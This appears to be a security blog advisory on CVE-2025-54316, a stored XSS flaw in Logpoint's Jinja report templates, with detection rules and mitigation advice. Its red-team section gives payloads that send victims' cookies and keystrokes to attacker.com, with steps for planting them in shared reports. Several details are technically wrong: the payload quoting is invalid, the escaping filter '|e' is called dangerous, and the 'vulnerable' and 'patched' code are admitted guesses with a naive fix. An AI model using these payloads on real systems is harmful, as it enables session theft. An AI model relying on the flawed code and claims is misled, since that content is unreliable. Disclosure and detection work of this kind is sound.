CVE-2025-54316

Executive Summary

CVE-2025-54316 is a stored cross-site scripting (XSS) vulnerability in Logpoint, a Security Information and Event Management (SIEM) platform. The flaw resides in the Report Template engine, which processes user-created Jinja templates. An authenticated attacker with report creation privileges can craft a malicious Jinja template that chains built-in filter functions to generate and inject XSS payloads. When the report is rendered by the Logpoint Report Template engine, the payload executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or unauthorized actions within the Logpoint web interface. The vulnerability affects all Logpoint versions prior to 7.6.0. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at the time of analysis.

Supply Chain & Package Security

This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby). It is a server-side template injection (SSTI) variant within Logpoint's proprietary Jinja template engine. The risk is confined to the Logpoint application itself and does not extend to third-party package dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.9 (Medium)
• Attack Vector (AV): Network – The attacker can trigger the vulnerability over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
• Privileges Required (PR): Low – The attacker needs valid credentials with report creation privileges.
• User Interaction (UI): Required – The victim must view the crafted report.
• Scope (S): Changed – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., the victim's browser session).
• Confidentiality (C): Low – Limited information disclosure is possible.
• Integrity (I): Low – The attacker can modify content within the victim's session.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within the Logpoint environment elevates the severity.

Deep Dive & Mechanics

The vulnerability is a classic case of Server-Side Template Injection (SSTI) combined with Cross-Site Scripting (XSS) . Logpoint uses the Jinja2 templating engine to generate dynamic reports. When a user creates a report, they can define custom Jinja templates. The engine processes these templates server-side, but the output is rendered in the user's browser.

The flaw lies in the lack of proper sanitization of Jinja template expressions. An attacker can chain built-in Jinja filter functions (e.g., |safe, |e, |replace) to construct an XSS payload. For example, a template like:

{{ ""><script>alert('XSS')</script>"|safe }}

would be processed by the engine and output the raw HTML/JavaScript, which the browser then executes. The |safe filter marks the string as safe HTML, bypassing any auto-escaping that might be in place.

The attack flow:

1. Attacker logs into Logpoint with report creation privileges.
2. Attacker creates a new report and defines a malicious Jinja template.
3. The template is stored in the database.
4. Victim (e.g., another analyst or admin) views the report.
5. The Logpoint Report Template engine renders the template, injecting the XSS payload into the HTML response.
6. The victim's browser executes the payload, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.6.0): The vulnerable code likely resides in the report rendering module. A simplified example:

from jinja2 import Environment, BaseLoader

def render_report(template_string, context):
    env = Environment(loader=BaseLoader())
    template = env.from_string(template_string)
    return template.render(context)

This code does not sanitize the template_string input, allowing arbitrary Jinja expressions.

Patched Code (7.6.0+): The patched version likely implements input validation and output encoding. A possible fix:

from jinja2 import Environment, BaseLoader
from markupsafe import escape

def render_report(template_string, context):
    # Sanitize template string to remove dangerous patterns
    sanitized = sanitize_template(template_string)
    env = Environment(loader=BaseLoader(), autoescape=True)
    template = env.from_string(sanitized)
    return template.render(context)

def sanitize_template(template_string):
    # Remove or escape dangerous filter chains
    # This is a simplified example; actual implementation may be more robust
    forbidden = ['|safe', '|e', '|replace']
    for f in forbidden:
        template_string = template_string.replace(f, '')
    return template_string

The key changes are:

• Enabling autoescape=True in the Jinja2 environment.
• Implementing a sanitization function to strip or escape dangerous filter chains.
• Possibly restricting the use of certain built-in filters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Logpoint instance (version < 7.6.0).
• Valid credentials with report creation privileges.

Steps:

1. Log in to Logpoint.
2. Navigate to the Reports section and create a new report.
3. In the template editor, enter the following Jinja template:

{{ ""><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"|safe }}

4. Save the report and share it with a target user (e.g., via a direct link or by making it public).
5. When the target views the report, the payload executes, sending their cookies to the attacker's server.

Alternative Payloads:

• Session hijacking: {{ ""><img src=x onerror=this.src='https://attacker.com/steal?cookie='+document.cookie>"|safe }}
• Keylogging: {{ ""><script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>"|safe }}

Blue Team (Defensive)

Detection:

• Monitor for unusual Jinja template patterns in report creation logs.
• Look for templates containing |safe, |e, or other dangerous filter chains.
• Use WAF rules to block requests containing <script> or onerror in report template fields.

Hunting:

• Search for reports created after the last patch cycle.
• Review all custom Jinja templates for suspicious content.
• Check web server logs for requests to /steal or similar endpoints.

Mitigation:

• Immediately upgrade to Logpoint 7.6.0 or later.
• If patching is not possible, disable custom Jinja templates for non-admin users.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Suspicious Referer headers pointing to Logpoint report URLs.

• File IOCs:

  • Report templates containing |safe, |e, or |replace filters.
  • Log entries showing creation of reports with unusual names or descriptions.

• Log IOCs:

  • Logpoint audit logs showing report creation by non-admin users with custom templates.
  • Web server logs with 200 responses to report URLs followed by outbound connections.

Detection Engineering

YARA Rule

rule CVE_2025_54316_Jinja_XSS {
    meta:
        description = "Detects malicious Jinja templates exploiting CVE-2025-54316"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54316"
    strings:
        $dangerous_filter = /\|safe|\|e|\|replace/
        $xss_payload = /<script>|<img\s+[^>]*onerror|<svg\s+[^>]*onload/
    condition:
        $dangerous_filter and $xss_payload
}

Sigma Rule

title: CVE-2025-54316 - Logpoint Jinja Template XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of reports with malicious Jinja templates in Logpoint
author: Valters IT
date: 2025/04/10
logsource:
    product: logpoint
    service: audit
detection:
    selection:
        EventID: 1001  # Example: Report creation event
        TemplateContent|contains:
            - '|safe'
            - '|e'
            - '|replace'
            - '<script>'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of safe filter in non-malicious templates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-54316 - Logpoint Jinja XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Logpoint to version 7.6.0 or later. This is the only complete fix.
2. Workaround: If patching is delayed, restrict report creation privileges to trusted administrators only.
3. Configuration: Enable Content Security Policy (CSP) headers in the web server configuration to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Monitoring: Implement the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
5. User Training: Educate users about the risks of viewing reports from untrusted sources.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert